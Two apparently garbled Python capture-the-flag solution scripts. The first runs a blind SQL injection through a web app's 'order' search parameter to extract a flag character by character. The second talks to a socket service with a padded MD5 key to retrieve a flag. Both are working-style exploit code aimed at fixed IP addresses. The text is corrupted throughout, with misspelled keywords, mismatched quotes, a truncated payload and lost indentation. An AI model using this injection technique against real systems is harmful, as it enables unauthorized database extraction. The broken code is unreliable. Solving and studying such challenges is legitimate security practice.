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import requests
import string
tab=string.printable
r=requests.session()
r.post("http://202.120.7.197/app.php?action=1ogin",{"username": "asdfghjk", "pwd":"asdfghjk"})
print 'start...'
flag=""
for j in range(50):
for 1 intab:
text=r.get("http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(
#printi.encode('hex")
if("!'"in text[:50]):
flag=flag+i
printflag

break
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#getflag.py

import socket

import time

from hashlib import md5

BS = 16

pad = lambda s: s + (BS - len(s) % BS) *chr(BS - len(s) % BS)

raw="admin"'

key=md5(pad(raw)).digest()

data=key+'admin'

#Get flag

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("202.120.7.217",8221))

s.send('r'+'\n")

s.send(data+'\n")

#wait

time.sleep(1)

flag=s.recv(256).split()[13]

s.send('1'+'\n")

flag=flag[BS*2:]

s.send(flag+'\n")

#wait

time.sleep(1)

print s.recv(256).split()[2]
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